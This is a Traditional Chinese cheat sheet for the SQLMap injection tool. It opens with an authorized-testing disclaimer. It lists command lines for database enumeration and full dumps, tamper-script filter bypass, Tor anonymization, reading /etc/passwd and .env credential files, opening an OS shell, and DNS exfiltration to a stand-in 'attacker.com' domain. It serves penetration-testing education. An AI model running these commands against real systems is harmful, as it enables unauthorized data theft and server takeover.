# SQLMap 完整使用技巧筆記 (含所有主要參數、基本/進階/高階用法與範例) --- ## 說明 本筆記完整整理 **SQLMap 工具** 的使用方式,涵蓋: - 所有主要參數介紹 - 基本使用方法 - 進階與高階操作 - 常見使用範例(含繁體中文解說) - 官方參考連結 > ⚠️ **合法合規聲明** > 以下內容僅供在 **獲得授權** 的安全測試、研究與教學環境使用(例如本機 Lab、DVWA、bwapp、靶場等)。 > 請勿用於未經許可之目標,否則可能觸法。 > 參數與說明以 **SQLMap 官方 Wiki** 為準。 --- ## 一、安裝與更新 ### 更新 SQLMap 至最新開發版 ```bash sqlmap --update ``` ## 二、核心概念(必看) - 等級 --level(1~5,預設1):測試廣度(參數/Headers 等)。 - 風險 --risk(1~3,預設1):測試危險度(是否可能影響 DB 資料)。 - 技術 --technique=BEUSTQ:指定注入方式。 - 執行緒 --threads:提高併發,需平衡速率與防護系統。 ## 三、基本使用(偵測與列舉) ```bash # 檢測是否注入 sqlmap -u "http://test.local/vuln.php?id=1" # 列出所有資料庫 sqlmap -u "http://test.local/vuln.php?id=1" --dbs # 列出資料表 sqlmap -u "http://test.local/vuln.php?id=1" -D database --tables # 查看欄位 sqlmap -u "http://test.local/vuln.php?id=1" -D database -T table --columns # 轉出指定欄位 sqlmap -u "http://test.local/vuln.php?id=1" -D database -T table -C field1,field2 --dump # 轉出整個表 sqlmap -u "http://test.local/vuln.php?id=1" -D database -T table --dump # 轉出整個 DB sqlmap -u "http://test.local/vuln.php?id=1" -D database --dump-all ``` ## 四、請求/協議控制(Headers/Cookies/Proxy/Tor/重試) ```bash # 指定或跳過參數 sqlmap -u "URL" -p par1,par2 sqlmap -u "URL" --skip=par1,par2 # POST 請求 sqlmap -u "URL" --data="id=1" # Cookie + CSRF sqlmap -u "URL" --cookie="PHPSESSID=..." --csrf-token="csrf" --csrf-url="URL" # Headers 與 UA sqlmap -u "URL" --headers="X-Forwarded-For: 127.0.0.1" --random-agent # Proxy / Tor sqlmap -u "URL" --proxy="http://127.0.0.1:8080" sqlmap -u "URL" --tor --check-tor --tor-port=9150 --tor-type=SOCKS5 ``` ## 五、效能最佳化 ```bash # 一鍵最佳化 sqlmap -u "URL" -o # 多線程與 Null connection sqlmap -u "URL" --threads=5 --null-connection ``` ## 六、注入面向與繞過(Injection/Detection/Technique/Tamper) ```bash # 偵測深度與危險度 sqlmap -u "URL" --level=3 --risk=2 # 指定技術 sqlmap -u "URL" --technique=EUT --time-sec=10 # UNION 控制 sqlmap -u "URL" --technique=U --union-cols=1-20 --union-char=123 # Tamper 腳本繞過 sqlmap -u "URL" --tamper="between,randomcase,space2comment" ``` ## 七、資料庫列舉/查詢/轉存(Enumeration/SQL Shell) ```bash # 指紋 sqlmap -u "URL" -f --banner # 一鍵全拿 sqlmap -u "URL" --all # 條件與範圍 sqlmap -u "URL" -D appdb -T users --where="role='admin'" --start=101 --stop=200 --dump # 自訂 SQL sqlmap -u "URL" --sql-query="SELECT COUNT(*) FROM users" sqlmap -u "URL" --sql-shell ``` ## 八、暴力輔助(common-*) ```bash sqlmap -u "URL" --common-tables --common-columns --common-files ``` ## 九、檔案系統與作業系統控制(高階) ```bash # 讀/寫檔案 sqlmap -u "URL" --file-read="/etc/passwd" sqlmap -u "URL" --file-write="./local.txt" --file-dest="/tmp/remote.txt" # OS 指令 sqlmap -u "URL" --os-cmd="id" sqlmap -u "URL" --os-shell ``` ## 十、二次注入、DNS外傳與其他實用選項 ```bash # 二次注入 sqlmap -u "URL" --second-url="URL_REFLECT" # DNS 外傳 sqlmap -u "URL" --dns-domain="attacker.com" ``` ## 十一、互動/自動化與記錄 ```bash # 非互動模式 sqlmap -u "URL" --batch # 表單測試 sqlmap -u "URL_WITH_FORM" --forms # 儲存配置 sqlmap -u "URL" --save # 清快取 sqlmap -u "URL" --flush-session ``` ## 十二、完整參數地圖(依官方分類) - Target:-u、-d、-m、-r、-g、-c - Request:UA、Headers、Cookie、CSRF、Proxy、Tor - Optimization:-o、--threads、--null-connection - Injection:-p、--skip、--tamper、--dbms - Detection:--level、--risk、--string、--regexp - Techniques:--technique、--time-sec、--union-cols - Enumeration:--dbs、--tables、--columns、--dump - Brute force:--common-tables、--common-columns - File system:--file-read、--file-write - OS Access:--os-cmd、--os-shell、--os-pwn ## 常見小抄(Cheat) ```bash # 快速偵測 + 指紋 sqlmap -u "URL" -f --banner --dbs # 取得資料庫 sqlmap -u "URL" --dbs # 取得資料庫所有 table sqlmap -u "URL" -D database --tables # 取得指定 table 欄位 sqlmap -u "URL" -D database -T table --columns # 取得指定 table 指定欄位資料 sqlmap -u "URL" -D database -T table -C field1,field2 --dump # 取得指定 table 之所有欄位資料 sqlmap -u "URL" -D database -T table --dump # 指定 DBMS 與技術 (例如MYSQL) sqlmap -u "URL" --dbms=mysql --technique=T --level=2 # 使用 Proxy sqlmap -u "URL" --proxy="http://127.0.0.1:8080" # DNS 外傳盲注 sqlmap -u "URL" --dns-domain="attacker.com" # 讀取伺服器檔案 sqlmap -u "URL" --file-read="/var/www/html/.env" ``` ## 參考連結 - 官方 Wiki 使用手冊:https://github.com/sqlmapproject/sqlmap/wiki/Usage